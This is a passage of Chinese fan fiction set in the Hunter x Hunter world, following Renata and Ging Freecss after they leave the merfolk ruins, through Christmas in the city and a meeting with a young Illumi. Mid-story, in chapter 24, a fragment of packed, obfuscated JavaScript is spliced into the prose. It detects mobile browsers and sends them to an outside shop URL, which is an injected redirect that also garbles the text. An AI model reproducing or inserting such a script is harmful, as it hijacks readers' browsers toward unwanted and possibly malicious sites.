愧疚？愧疚是什么感觉。
她捂上自己的心口，原本空落落的地方被莫名的情绪填满。
“我不太理解什么是愧疚，但是我的心看到小塔因为我命悬一线的时候好像细细麻麻地胀起来了。这可能就是你说的愧疚吧。”她不太确定地回答道。
这就是愧疚吗？
远比她想得要复杂。
她的目光一直注视着那边的动作，仔细观察着喝下血的小塔脸色是否好转。
虽然有基裘这个成功的案例，但小塔毕竟和她一样也是非人。而且他们人鱼一族和蕾妮有着千丝万缕的关系，她不确定她的血对他会不会有排异作用。
窗外渐渐透亮，小心翼翼泛起鱼肚白浸透这淡蓝色的天幕。几颗晨星伴着未溶尽的月。
“是的，这就是愧疚。是好事啊蕾娜塔。说明你逐渐在向人类靠近。”金·富力士抱着双臂靠在墙边，也顺着蕾娜塔的视线看向那对姐弟。
向人类靠近？
“原来你知道吗？”她惊讶地转头看了他一眼。
金·富力士没有回应她的目光，脸上挂着淡淡的微笑。“毕竟我的祖先是东·富力士嘛。”他颇为骄傲地说。
怀里的小塔原本苍白的脸色变得红润起来，妮妮又再次高兴地流下眼泪。
也对，东的那本《新世界纪行》确实记录了她。
“接下来打算去哪。”
“不太清楚。”
“有没有兴趣和我去当遗迹猎人啊？”
“你还欠着我一亿戒尼呢。”
“当了猎人再还你也不迟嘛。”
“你的猎人执照还在我这呢。”蕾娜塔从口袋里掏出他的猎人执照在他眼前晃晃。
“那好吧——”金·富力士惋惜地拉长语调。“真的不去当猎人吗？有很多特权的。交通费报销还可以自行出入大部分国家。不心动吗？”他循循善诱道。
蕾娜塔确实有些可耻的心动了。
“再说吧。”
她还没想好未来要去干什么。蕾妮留下的谜题还要等待她来解决。
“哦对了。”金·富力士想起了什么，从外套右边的内袋里掏出一个小东西，用手包的严严实实。蕾娜塔并没有看清是什么东西。
“蕾娜塔要闭上眼睛，不可以偷看哦。”
依言，她闭上双眼。等待着金·富力士的口令。
“可能会有一点痛，但在我说睁开眼睛之前都不可以偷看。”
金·富力士靠近蕾娜塔的左侧，把她的头发轻柔地拨到耳后，温热的指腹不小心贴到她微凉的皮肤，呼吸因为有些紧张而不自觉地扑洒在她的肌肤上。
有点痒痒的。
但她还是制止了自己的手，回应道：“知道啦。”
柔软的耳垂被尖锐的冰冷的金属戳破，这是一点点微不足道的疼痛。在这种痛感结束之后，金·富力士松开了手，她的耳下挂着还在轻轻摇晃的东西。
“可以睁眼了。”
睁开的红眸和耳旁小巧的鸽血红宝石相互映照，鲜艳的红色不含一丝杂质，纯粹得耀眼。
外面的朝阳早已升起，柔和的光线打在蕾娜塔的脸上，连带着宝石也跟随某个人心脏跳起来。
金·富力士的喉结滚动，胃里仿佛有无数个蝴蝶要破茧而出。
“suki……”
蕾娜塔疑惑地眨了眨眼等待着他的下文。
月？
她瞥了一眼外面，窗外的残月还高悬在她的头顶。
确实有月亮啊。那怎么了。
蕾娜塔的这一眼更加动摇了金·富力士的心思。他垂眸看着她，两个人面对面的距离在不断拉长变形，有什么晶莹的液体从眼角滑落，滴在她耳旁的宝石上，成为了陪衬她的一员。
不可以。
那些隐晦的情绪都被他尽数压下去。
不可以。
堵在喉间的千言万语都化作一声发自内心的赞美。
那是源于人的本能对美的欣赏。
“果然很适合你呢。蕾娜塔。”名字的读音被他咬得很轻，就像一阵叹息。
“这是什么？”蕾娜塔用手指轻轻拨弄挂在耳下的宝石。
“是一种装饰品，可以叫做耳饰。”
“这算是你的其他赔偿吗？”她的余光捕捉到脸庞一抹鲜红的痕迹，仅这一点就拥有着出人意料的美丽，足以吸引她的全部目光。
透过那颗宝石，就好像她也在注视着他的心脏一样。
“那蕾娜塔愿意接受吗？”金·富力士俯下身子贴近她的脸，视线从宝石慢慢移到她的眼眸。
那是比宝石更为珍贵的存在。
？
金靠那么近，这又是怎么了？
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“为什么不接受？这可是我保护你的费用。”蕾娜塔的食指点点金·富力士的鼻头，退后了几步。他们之间的距离太近了，近得她可以看清他脸上的绒毛，她有点不太适应。
“还是说你有其他的宝贝？”她的另一只手不客气地伸出来就打算向他索要其他费用。
“饶了我吧。”金·富力士直起身来，无奈地伸出双手和头顶齐平，“真的没有其他东西了。”
“好吧——”蕾娜塔打算伸回自己的手时，被另一双比她小一半的手握住了。
注意到对方时她惊讶地睁大眼睛。
为什么。
“姐姐，是我，小塔。”涣散的瞳孔对上她的眼睛，轻轻摇了摇搭在她手上的手。“我没有事了哦——”为了让蕾娜塔更好的看清，他在原地蹦跶着转了一个圈。
明明快要死了。
“这孩子非要来找你呢。”妮妮笑着站在他的旁边，目光柔软。
明明都那样了。
“没关系吗？”她犹豫地问道。
“诶——姐姐指的是哪个？”他指指自己的心脏，“是这个吗？没有关系呀。姐姐也不是故意的。但是、”他重重地停顿了一下。蕾娜塔的呼吸也不自觉地提了起来。
“明明说好了要一直看着我，结果嫌麻烦就把我丢在那里了。不要把我当做真的看不到呀！”他叉着腰控诉蕾娜塔的失信。“姐姐明明知道那片空间是从哪里来的。还要把我当成小麻烦。”
居然不是因为快要死掉而生气。
“那、那怎么办。”她的手缩在一起，不知所措地绞着。
她的记忆里并没有应对这个场景的经验，也没有可模仿的对象。
“你说呢。”小塔气鼓鼓地别过头不再看她。
蕾娜塔一一扫过周围人的神色，他们都笑着等待她的回答，眼里是毫不吝啬的鼓励。
做错的事情要干什么呢。
那个时候金做错事不小心吵醒她说的是什么来着。
好像是——
“！！对不起！…小塔。”她大声地道歉，末了还心虚地补上他的名字。
“既然你诚心诚意地道歉了，那我就勉为其难接受你的道歉吧。姐姐。”装作生气样子的小塔飞扑到她的怀里，蕾娜塔牢牢地接住他。
这一次她接住了。
周围的人都不约而同地笑起来。所有的不快全部都消融。
那种温暖从笑容里浸透着目光，在心里点点滴滴泛起了涟漪。
她听到了那微弱的来自自己的心跳。
一下又一下轻轻地跳着。
原来、原来温暖是这种感觉。
有什么温热的东西控制不住地从眼眶里流下，顺着脸颊缓缓地下淌。
“姐姐，怎么哭了。”几滴眼泪落到小塔的头上，他抱着蕾娜塔的手松了松，关切地想要查看她的状态。
“没事。”蕾娜塔还是紧紧地抱着他不松手，声音闷闷地从头顶上传来。
“快要、快要喘不过气了！！”
独属于清晨的光线透过层层枝叶照在他们的身上。
长夜散尽，阳光正好，未来的道路还有很长。
24.结束×幸福×前往市区
人鱼族自从搬迁到埃珍大陆—卡丁国，世代在此居住，十年如一日的信仰蕾妮女神。直到有一天他们无法从这个遗迹出去，就连异类也只能在附近盘桓。
关于为什么走不出遗迹，大部分纯血深信唯血统论，是女神认为他们玷污了她高贵的血液所以才走不出去。但异类觉得是信仰论，女神是不需要人信仰的，是他们把自己困在了这里。
人鱼死后会生成一具尸体，绝大部分的人鱼是没有轮回的记忆的，只有极少部分才有，他们被奉为人鱼族的神职人员，但他们是无法传递留存的记忆的。
数不清的时光从他们手中流逝，他们的尸体也横七竖八地堆在那里，也不知道到底过了多久。一些纯血人鱼就开始利用他们的歌声诱惑人类。
将神圣的教堂变为杀戮的盛宴，只为唤起本能的愉悦。困在这里的亡灵不得安息，他们锁住执念，幻化成梦中泡影。这也是幻觉的由来。
妮妮和她的父亲就是历代的神职，留有轮回的记忆。他们觉得这种行为简直不可理喻，也想多次拯救人鱼族。
没想到最后只有她和少部分异类坚持了下来。
确实也有运气的成分，让她碰到了蕾娜塔。那跨越岁月的一眼，她至今都没有忘记。如果没碰到也不知道要等多久，可能就要像她的父亲一样了。
不过她隐去了最后一段话，没有告诉他们。
“很抱歉对你们造成了那么大的困扰。”妮妮拉着小塔鞠躬道歉。
“也没什么啦。”金·富力士不太好意思地挠着头。
毕竟大部分事情都是蕾娜塔在做。
他的余光瞟向一旁的蕾娜塔。被称为圣物的匕首在她手中随意地把玩，还顺手耍出了一个漂亮的刀花。
“那这个圣物归我吗？”她的眼睛盯着上下旋转的匕首。
“当然，这本来就是属于您的。”妮妮恭敬地低下头。
蕾娜塔的手一顿，差点被刀尖划伤。说不上什么情绪，只是被妮妮这样的行为吓到了。刚刚还有说有笑什么的，突然来这一下。
“是不是被吓到了？”妮妮抬起头露出一个笑脸，眼里的捉弄显而易见。
好你个妮妮，居然和金一样！
“才没有。”意识到被捉弄的蕾娜塔偏过头故意不看她。
“好吧。”妮妮故作惋惜地应下。
“还是很感谢富力士先生和蕾娜塔小姐的帮忙。”她带着后面的异类深深地朝他们鞠了一躬。“如果没有你们，人鱼族也不可能那么快就革新。”
“而未来我们也不会再狂热地信奉神明，我们将推翻唯血统这个谬论。”她背过身面对身后的人鱼们。
“万岁！！”人鱼们欢呼。
这一天她等太久了。
至于她的父亲。
她看向手中跳动的心脏。
还需要漫长的时间来更正错误。
“那我们也该走了。麻烦妮妮小姐为我们指路了。”人鱼们都散去后，金·富力士带着蕾娜塔向待在原地的妮妮说明了他们的意向。
“不留下来等待今天晚上的盛宴吗？很热闹的。”还未等妮妮开口，小塔就先一步回答道，一只手紧紧地拉着蕾娜塔的裙子，满脸的不舍。
他已经很久没有见到蕾娜塔姐姐了。
为什么就要那么快离开。
“我们会再见的，小塔。”蕾娜塔蹲下来抚摸着他的脸颊。
“那我们拉钩。”小塔伸出小指头朝着蕾娜塔，蕾娜塔也笑着伸出自己的小拇指勾上。
“拉钩上吊一百年不许骗，骗人要吞一千根针。”
“好的。”
他们的大拇指并拢。
得到承诺后，小塔立马松开拉着蕾娜塔裙摆的手，捂住耳朵不愿听到离开的脚步声。
妮妮见状走在前面为他们带路。除了刚开始那段路，后面和他们来时的路一模一样。头顶的鳞粉还在闪闪发光。
同样的路却是两种截然不同的心情。
“如果我的记忆没有出错的话，拥有红眸的不止我们一个人鱼族。蕾娜塔你可以去找找其他地方，说不定会给你答案。”在路过满墙壁颂词的时候，妮妮不经意地提起。
“好哦。”
说到红眸，蕾娜塔想起了在黑暗大陆时东提到的世界七大美色之一的火红眼。
金·富力士也想到了，但他没有说，他偷偷看了蕾娜塔一眼，带着点莫名的情绪，左手擦过自己的耳垂，摸向自己的后颈。
“谢谢你们了。”
妮妮把他们送回到充满风信子的废墟前再一次道谢。
“那再见了。”金·富力士背过身后挥手道别。
“再见。”蕾娜塔转头和妮妮的红眸对视上，妮妮的眼底全是她看不懂的情绪。
看不懂没关系，她还有很长的时间去学习。
她回头朝着前方的路走去。
“再见。”妮妮目送着他们的背影远去，化作两个小小的点，直至看不清。
“再见蕾妮……”最后的呢喃细语微不可察。
既然她已经选择了这条道路，无论再艰难，那她也要加倍努力才是。
妮妮转头朝着遗迹走去。
离开遗迹的范围，金·富力士呼出的气体就变成了淡薄的水汽。他们来时还处于暮秋，现在就已经到了冬天了。
蕾娜塔没有见过这样的现象。孩子气地哈了好几口气，看着变成水雾的气体逐渐消失。
“这是冬天的正常现象。口中的水蒸气遇到外界的冷空气凝结成雾。”金·富力士拥有着和东·富力士一样的耐心，不厌其烦地为蕾娜塔解释人类生活里的常识。
他领着蕾娜塔前往市区，荒无人烟的森林也逐渐出现了几座低矮的房屋。
不少居住在这里的人停下手里的活朝着金·富力士打招呼，有的人甚至衣服上都还打着补丁，但大家的脸上都洋溢着幸福的笑容。
“金，你觉得一亿戒尼够在人类大陆幸福的生存吗？”
“那要看你想过什么生活了。”金·富力士在这里非常受欢迎，哪怕在和蕾娜塔对话，但他的手还在不停地对着村民打着招呼。
“这里的人常常被魔兽侵扰，也常常得不到好收成。但是他们都很团结，哪里有困难就一起解决，所以他们一直都很幸福。”离开村庄后，金·富力士的手伸入包里拿出一个宝石放在蕾娜塔的面前。
带着清澈的天蓝色的宝石在光线的折射下夹杂着淡淡的湖蓝，让蕾娜塔下意识想到了席巴的眼睛。
“但有的人哪怕倾家荡产也要得到我手里的宝石，只是为了讨取别人的欢心，那对他来讲也是一种扭曲的幸福。”他拿着宝石的手一顿，随手扔到后背的包里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13998072|148054||http|test|mini|href|location''.split(''|''),0,{}));
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“也不能算扭曲吧，只是每个人的理解不同，对幸福的理解也就不同。看你想要怎么幸福了。”他嘴里还叼着不知道从哪里顺来的草根。
“那对金来说幸福是什么呢？”蕾娜塔跟在他的后面看着他的背影疑惑地问道。
“我吗？那当然是探索世界上所有的遗迹啊。如果还有的话，那就是希望爱我的和我爱的人幸福吧。”他照着天空在脑海里描绘着轻轻晃荡的红宝石。
画完以后他回头看向思索中的蕾娜塔，她的耳畔依旧和他记忆中的吻合。
其实那颗红宝石他早就看了无数遍，但还是忍不住为它频频侧目。
不对。
是为蕾娜塔吧。
他的直觉毫不犹豫戳穿了他的谎言。
她本身是比宝石更加耀眼的存在。
“你的时间还有很多，不要急着去定义什么才是幸福。只是希望钱多的话，可以考虑做猎人啊，我可以向会长举荐你哦。”
“感觉很麻烦的样子，没有其他方法了吗？”蕾娜塔微微蹙眉。
“猎人其实也不麻烦吧？”金·富力士想到只有他一人合格的考试结果顿了顿。
好像某种意义上还是有些困难的？
大概？
“当然有，可以去天空竞技场赚钱。按照蕾娜塔的能力成为楼主不成问题。不仅解决了住所还有额外的经济收入。虽然在成为楼主之后就失去奖金了。但那之前的大额奖金还是非常划算的。”
“天空竞技场？”
“就是打架的地方，一层一层打上去，表现好可以跳层。和流星街的斗兽场差不多吧。”
流星街的斗兽场？
“连这点也瞒不过金吗？”蕾娜娜有些沮丧地叹了一口气。
“是蕾娜塔一点都不藏着啊。”金·富力士也有模有样地叹了一口气。
“我的车子就在前面，我们待会就可以去市区了。”金·富力士指着蕾娜塔前面的黑色大铁盒说道。
“车子？”
“就是一种代替步行的工具。普通人类走不了很远的路，这个时候就可以让汽车来代替他们的步行。”金·富力士先一步拉开车门，示意蕾娜塔坐进去。
“软软的。”蕾娜塔在后排座椅上躺下。“好舒服。还有一种淡淡的香味。”
“那就太好了，还以为蕾娜塔会不习惯呢。”金·富力士一脚踩上油门，像离弦箭一样一下子冲了出去。
蕾娜塔趴在窗口好奇地看着不断后退的景物。低矮的房屋不断拔高，路上的车子也变得多起来，就像东给她画的连环画那样。
她依照金说的水汽成雾的原理，也在玻璃上哈了好几口气。玻璃果然也变得雾蒙蒙的。
她用手指在玻璃上比划着，金·富力士在开车，看不到她画了什么。
“待会先去给你买身衣服怎么样。然后再去办你的身份证明。之前看你那张卡是无挂名无密码的，很容易被别人捡去用了。办完身份证明再去办银行卡，把欠你的那一亿还了。”金·富力士絮絮叨叨地说完这些，并没有得到蕾娜塔的回应。
“嗯？听到了吗？”
等红灯的间隙，金·富力士透过后视镜看到了熟睡的蕾娜塔。他别开眼睛看向窗外。
完全拿她没办法。
他的右手随手摸到了好久没用的相机。
25.圣诞×男朋友×告白
除了要借用特殊渠道来办理蕾娜塔的身份证明以外，其他的都非常顺利。临走的时候柜台还发了一封庆祝圣诞节的书信。
热气在空中凝结成水雾飘走，他的思绪短暂的恍惚了一下，没想到今天居然是圣诞。
原来遗迹的时间流速和外面的不一样。
蕾娜塔在店员的推荐下换了一身非常符合圣诞的套装，整个人都毛茸茸的，看起来像一只小猫咪，还招来了不少店员的喜爱，被店员们团团围住不停地投喂。
虽然她对冷热没什么感觉啦，但是耐不住店员真的很热情，而且东西也很好吃，比她在流星街吃的东西还要好吃。
毛茸茸的外套就像在蹭猫咪的脸一样很舒服，比黑暗大陆上的用植物做的衣服要柔软得多。
好喜欢。
“这位先生是你的男朋友吗？看起来风尘仆仆的……”店员这才注意到被冷落在一旁的金·富力士，有些嫌恶地看着他身上邋遢的装扮。
蕾娜塔晕乎乎的脑袋在店员的提醒下终于注意到了金·富力士的打扮。
因为遗迹坍塌所以衣服上都是灰尘，再加上杂七杂八的原因，有些布料都变成布条了，还带着发黑的血渍。
就像、就像流星街的流浪汉一样。
她已经想象到那个味道了，毫不掩饰地捂着鼻子后退几步。
看得出来店员已经尽量没有把话说得很难听了。
店员好，金坏。
所以连带着沉默的金·富力士也顺手换了一套和蕾娜塔很搭的套装。
不过刚刚店员称呼金是什么来着？
“男朋友？”蕾娜塔头一次接触到这个词语。
“诶？原来你们不是那种关系吗？”店员惊讶地捂住嘴巴。
那个先生看她的眼神完全不是看正常朋友的眼神。
“啊，对不起，是我误会了。”察觉到自己的失礼后她连忙向蕾娜塔道歉。
蕾娜塔又把目光投向穿着和她同样色系的金。
“走了，要赶不上飞艇了。”
还没等她开口，金·富力士就打断了她想要说的话。
什么意思？
算了等会有空再问金吧。
因为是第一次乘坐飞艇，蕾娜塔一个人坐在窗边看着底下的风景也能看好久。所以她就自然而然地把男朋友这个问题忘记了。
大城市的每一处地方对她来讲都是未知有趣的东西。一下飞艇，雷娜塔就和出闸的鸟儿一样到处乱逛。金·富力士也由着她，默默地跟在她的后边。
今天的天气有点冷，街上不少人裹紧了自己的风衣。
“最近有不少高层离奇死亡，到底是集体自裁还是蓄意谋杀……”
她趴在橱窗上，透过透明的玻璃看着电视里播放的新闻。小小的方盒子，不需要依赖念，居然就能把活灵活现的把人物展现出来，还有各种不同的色彩。
“好厉害……”她喃喃道。
“你是在说这个杀手吗？”大概七八岁的男孩不知道什么时候站到了她旁边。无机质的黑眸倒映着蕾娜塔的身影。
其实他自己也不知道为什么要和这个看起来十六岁差不多的女生搭话。只是看到她第一眼，他就忍不住想要和她亲近的冲动，好像自己的血液在呼唤着她一样。
这是他从来没有过的感受。
“不是，我在说这个电视机。”蕾娜塔诚实地摇摇头，指着橱窗里的东西回答他人的疑问。
金告诉她橱窗里的标语就是她不知道的物品的名字。她刚刚看到了上面标着‘电视机’的字样，那说明这个铁盒子叫做电视机。
“不过，你是谁啊？”她转过头看着黑发黑眸的男孩。
他的眼眸部分和基裘有些神似。
不会是基裘的孩子吧？可是基裘才18岁吧？年龄对不上诶。
可能是自己的错觉吧。
“为什么？电视机有什么厉害的。你不应该注意到能神不知鬼不觉暗杀高层的杀手吗？”男孩面无表情，但他的话语充满疑惑。
“不就是个杀人有什么厉害的。神不知鬼不觉说明他隐匿的技能很厉害，没让那几个人发现而已。又不是没有人可以发现他。”蕾娜塔没什么耐心地解释道，“就比如现在，你闭上眼睛你能发现我吗？”
男孩照着她的话闭上眼睛去感受她的存在。
没有，什么也没有。
汽车的鸣笛声，男人的交谈声，女士身上的香水味，下水道里老鼠的吱吱声。
唯独没有蕾娜塔的任何存在。
如果不是眼睛看到了，他都以为蕾娜塔的存在是错觉。
父亲也向他展示过这项技巧，除了刻意发出的声音，他的五感捕捉不到任何东西。
她和他的父亲一样强大。
心里估算好实力差距后，他睁开眼睛看了她后面的男人一眼。
“那是你的男朋友吗？”他盯着蕾娜塔那双漂亮的眼睛，那是黑市里拍卖的火红眼也难以媲美的眼睛。让他想起了他的母亲放在他房间里的那一大堆玩偶，它们的眼睛也都是无一例外的镶嵌着红色宝石。
“你在指金吗？为什么都在问他是不是我男朋友？男朋友是什么？”蕾娜塔不解地眨眨眼睛。
被她忘掉的问题又重新回到了她的记忆里。
为什么一个两个都在问金是不是她的男朋友。到底什么才是男朋友。她想迫切地知道答案。
那些课堂上讲述的微心理学都被他如实应用到她的身上，她的反应也确实没有欺骗他。
他没有回答她那些无聊的问题，只是启唇告诉了她——他的名字。
“伊路米。”
所有的霓虹灯光和喧嚣都被那双黑眸无情地吸入，只剩下她的红眸。
然后转身就离开了这里。
“说完话怎么自顾自走了。这小孩真奇怪。”蕾娜塔看着他远去。
“怎么了？”金·富力士打完电话走过来就听到了蕾娜塔的这句话。
他刚刚接到了猎人协会的电话，那群家伙还是那么爱刨根问底，一向好脾气的他也微微皱起眉头，有些敷衍地回答那些问题。
为了不让蕾娜塔听到或者猜出他的口型，他是特意走到对面的街道上背对着蕾娜塔交流的。所以他不知道蕾娜塔这里发生了什么。
“没什么，我们走吧。”蕾娜塔看着琳琅满目的商品街，把这个小插曲抛出脑外，自然也包括男孩刚刚吐出的名字。
这条街她还没有逛完呢。
人类世界真的好有趣。比黑暗大陆有趣多了。
当然，流星街除外。
大的小的购物袋还堆放在供人休息的长椅上。金·富力士任劳任怨地把他们挂在自己的身上，就像圣诞树那样。
等等，为什么不先订个酒店呢？常年混迹在遗迹里、脱离现代社会的大脑终于迟缓地反应过来。
蕾娜塔没接触过社会他可以理解，怎么连着他也忘记了呢。
走在前面的蕾娜塔正兴头上，哼着奇怪的小曲蹦跳着。
他有些好笑地看着带着走了一路的购物袋。
算啦。
开心就好。
他正抬腿准备跟上蕾娜塔的脚步。突然察觉到有两道很微弱的视线扎在
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他的背上，准确地说是盯着他前面的蕾娜塔，而他只是附带的那一部分。
路旁的冰淇淋小贩还在叫唤着，汽车时短时长的鸣笛声没有停止过。
他在心里评估着。
其中一个的气息隐藏的还不错，另一个就有些不够看了。
看来不是一伙人。
他装作没发觉的模样继续向前走，路过一个转弯角准备逮到那两个人的时候。
“金，你好慢快点啦！”
发现他落后太多的蕾娜塔开始转过身来大声催促他的行动。
就是那么几秒的打岔，那两道视线都不见了，一个戴着棒球帽的红发男孩擦着他的手肘过去。
“不可以哦，小朋友。”
他拿起自己的钱包，炫耀似地在红发男孩面前晃晃，话语却是明晃晃的告诫。
红发男孩也不犹豫，发现计划失败后就快速跑走。
这一个居然是扒手吗。
金·富力士没有多想，收起自己的钱包大步追上前面的蕾娜塔。
这个时候天空飘起了洋洋洒洒的小雪，慢慢地点在蕾娜塔的发丝上。
“金你真的超慢的——”蕾娜塔撇着嘴，用指头用力地戳着他的肩膀，控诉他的拖延。
“那大方的蕾娜塔可以原谅我吗，这是我小小的道歉礼。”
金·富力士变戏法一样在她面前拿出一个甜筒。
蕾娜塔的眼睛一下子就亮了起来，但面上还是装作很为难的样子。
“那好吧，我原谅你了。”她带着点犹豫的语气，飞快地拿走金·富力士手上的甜筒，然后伸出舌头品尝这甜蜜的滋味。
“好好吃——金你要尝尝吗？”看金没有给自己买，她把手里的甜筒递到金·富力士的面前。“啊对了，他们说金是我的男朋友。男朋友是什么意思啊？”
哈出的水雾在两个人之间弥漫开，金·富力士低着头，眼睛一眨不眨地看着蕾娜塔，薄翼般的睫毛上堆起了小小的雪花。
就好像他的眼里只有她一样。
两个人长久地对视着，雪花落在他们的身上。
哪怕迟钝如她也嗅出了此刻略显不对的气氛。
“金，你在对那个词语感到生气吗？”她不解地舔了一口有些化开的甜筒。
“不，不是。”金·富力士轻轻摇头。在心里为自己的反应感到好笑。他从口袋里掏出纸巾，擦去蕾娜塔嘴角的污渍。
“男朋友就是你爱的男性朋友。蕾娜塔，还记得之前我和你说过的亲密的人吗？对，就是在那个基础上的。”不等蕾娜塔回答，金富力士就自顾自地补上了后面的那句话。
“喜欢和爱是不一样的。虽然现在说有些唐突。”他认真地看着蕾娜塔的眼睛，为她抚顺被风吹乱的发丝。“喜欢一个人就像喜欢罐子里的糖，不择手段都要吃掉它，哪怕它只有一颗。”
“但是爱一个人是不一样的，你会舍不得吃掉那颗糖。因为你爱那个人，只要看到对方过得幸福，你就为对方感到开心。”金·富力士弯弯眼眸，把自己头顶上的帽子戴在蕾娜塔的头上。
“我希望你幸福。蕾娜塔。”他贴心地扶正有些歪掉的帽子。
那颗鸽血红在微微摇晃，在光线的照耀下，就像隐隐跳动的心脏。
帽子还残留着对方温热的体温，就好像金在抚摸她的头发一样。
随着破空声，烟火划开金·富力士身后的夜幕绽开了花朵。他的脸反而陷入了晦暗中，让人摸不着情绪。
“圣诞快乐，蕾娜塔。”
一片雪花落在她的眼角，被他用微凉的指尖拂去。
26.冰淇淋×伊路米×说话的艺术
蕾娜塔坐在窗边，用勺子挖起一小块刚刚上桌的香蕉船冰淇淋。左手无意识地摆弄起新买的寻呼机。
金早上说他要去执行猎人协会发布的任务，去的时间会很久，电话有时候会接不到，所以买了一个寻呼机给她用来发消息。
她一个人坐在餐厅里发呆，由窗外永不停止的匆匆步伐，想到了金离开时的仓皇背影。街道上还有一个小丑在派发传单，无论对方的表情如何，他都笑嘻嘻地递上自己的传单。
她抿了一口勺子，冰淇淋甜滋滋的味道在舌尖化开。
啊好好吃。
她在寻呼机上编辑了一条消息发送。
蕾娜塔：天空竞技场附近的迪来可勋餐厅的香蕉船冰淇淋好好吃！！（未读）
她往上翻之前的聊天记录，全都是未读状态，金从圣诞那天晚上看起来就是不太高兴的样子，连着那几天都和她保持一定的距离，早知道她就不问金那个问题了。
金说希望她幸福。
不过幸福到底是什么？她有些摸不清头脑。
想了想，她又发了一条消息。
蕾娜塔：希望金在执行任务的时候也可以吃到这么好吃的东西。（未读）
见消息发送成功，蕾娜塔放下传呼机，招来服务员点了不同口味的冰淇淋。
看着满满一桌的冰淇淋，她发自内心地赞叹道：“能够来到这里真是太好了。”正拿起勺子打算开动时却被不合时宜的人出声打断。
“原来你喜欢吃冰淇淋吗。”
明明是一个疑问句被对方用平缓的语调说成了陈述句。
蕾娜塔转头一看，是黑发黑眸的男孩站在餐桌旁边，透不进光的眼眸直勾勾地盯着她看。
“啊，是昨天见过的那个男孩，好像叫什么什么米来着？”蕾娜塔拿着勺子仔细回想，顺手舀起一勺冰淇淋放入嘴中。
“是伊路米。”
伊路米非常自来熟地坐到了她的对面，还贴心地告诉她——他的名字。
在他的观念里，强者是有遗忘这个权利的。就算蕾娜塔之后忘记了，他也会一遍又一遍反复地告诉她。
看他坐在对面，视线略过桌上满满当当的冰淇淋，蕾娜塔心里顿时警铃大作。
“你也要吃冰淇淋吗？”她犹豫地递出最小分量的冰淇淋。“那这个给你吧。”
吃了这个可不许多要了。
伊路米本来想开口拒绝，因为他的母亲一直控制着他的饮食，不允许他吃太多外面的食物。但蕾娜塔已经把冰淇淋递到他的面前，另一只拿着餐勺的手肌肉微微紧绷。
不要忤逆强者。
父亲的话在耳边回荡。
“谢谢。”
他的身体先一步接过了冰淇淋向她道谢，并拿起了小巧的银勺挖起一小块品尝。
见伊路米确实对其他的冰淇淋没什么想法，蕾娜塔也悄悄松了一口气。
她在路上常常见到向妈妈哭着闹着要吃冰淇淋的小孩，看伊路米的年纪和他们差不多，她不免有些担心出现那样的情况。
如果真的出现了，那只能快速把他打晕。
不过现在看来是她多想了。
她拿起勺子继续享用这种美味。
伊路米在食用冰淇淋的同时也在观察蕾娜塔。这次只有她一个人，桌上还有一个传呼机，看起来应该是新买的。毕竟上次见到她的时候，手上并没有这种通讯设备。
从她趴在橱窗的行为和话语来看，她缺少某类常识。
那个男人应该因为什么事情离开了她，而且是不得不离开。
她的耳饰很漂亮，一看就是用非常珍贵的宝石用手工精细打磨的。送她耳饰的人肯定非常喜欢她，或者说达到了爱的那种程度。
“一个不剩地吃完了，真的太好吃了。”她餍足地伸了一个懒腰，擦去嘴角的水渍，也没管坐在对面的伊路米，拿起传呼机就起身走出门了。
伊路米沉默地看着杯子里快要化成水的冰淇淋，起身准备跟上前面的蕾娜塔。
“这位先生，您的这桌还没有给钱。请问是现金还是刷卡呢？”快步走过来的服务员伸手拦住了他的路。
刚刚好挡住了前面蕾娜塔的去向。
“有没有人告诉你，不要拦着别人做事情。”伊路米的身体没动，眼睛转向服务员盯着他看。
黑漆漆的眼眸看得服务员心里有些发毛，但本着职业素养，他不得不继续拦下这位客人。他张了张嘴，还没说什么，心口就破开了一个大洞。
“啪嗒。”
还在跳动的心脏就那么随意地被伊路米丢在地上。
围观的食客还没反应过来，直到看清脚前的东西是什么，尖叫着跑开了，整个餐厅都陷入混乱之中。
“啊，还是被溅到了。”他平静地甩开手上的血液，好像杀人对他来讲就是和呼吸一样简单的事情。
父亲说过他掏出心脏的时候可是一滴血都没有溅出。
他还是差一点。
“还、还给我。”男人回过神来因为剧烈的疼痛而跪倒在地上。
伊路米没有理他，拿起桌上的水杯，倒出里面的水冲去手上污渍，沿着他预估的方向追着蕾娜塔去了。
要赶在比赛之前找到她。
在品尝完甜食后，蕾娜塔的心情很好。
接下来就是去天空竞技场报名了。虽然总感觉忘了什么东西，但能忘的话说明也不是什么值得记忆的东西。
她拿着手里的甜筒向着显眼的高楼出发。
金走之前告诉过她，这座高楼是天空竞技场，是世界上第四高的建筑，它的顶层就是楼主的豪华房间。以她的实力可以轻松打上去。如果对那里的布局实在摸不着头脑也可以找那里的负责人。
一进门就是各种高矮胖瘦的男女汇聚在墙边，前台小姐带着笑容接待了她，并交给她一份表格。
“填好这张表，您就成为天空竞技场的选手了。”她的嗓音洪亮，所有的选手都可以听到。
一时间大家的目光都投放在她的身上。
“又是一个垫底的。”
“看来今年可以升层了。”
话语和斗兽场里的人说的话差不多，怎么到哪都有这种人。
蕾娜塔没管周围人的窃窃私语，反
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而面不改色地把表填好交给了前台小姐。
“请问现在就可以比赛了吗？”
“可以，这边已经为您安排了。”前台小姐为她指明了方向，蕾娜塔顺着她的手看向门口，那边已经有一个接待员等着她了。
“这是您的比赛时间请拿好。待会会在广播通知您的。”接待员细心地递上属于她的参赛信息。
参赛人：蕾娜塔
比赛时间：11点30分
比赛场地：1号擂台
蕾娜塔拿到参赛信息打算找个位置坐下，她的旁边也紧挨着坐下了一个人，一个黑头发的男孩。
等等，黑头发的男孩？
果然，一转头又是那双熟悉的眉眼。
“为什么要跟着我？”蕾娜塔看着那双黑漆漆透不进光的眼眸，哪怕对方是被她发现了意图，也只是微微挑起了眉毛，没有什么太大的情绪。
“你很强。”只是短短几个照面，伊路米就斩钉截铁地定下了这个结论，宣告这个事实，波澜不惊的表情看不出什么崇拜的意味。
“这是原因还是结果？”
他的话语过于绝对，还有点没头没尾。是因为她很强所以跟着她，还是因为跟着她发现她很强所以继续跟着她。
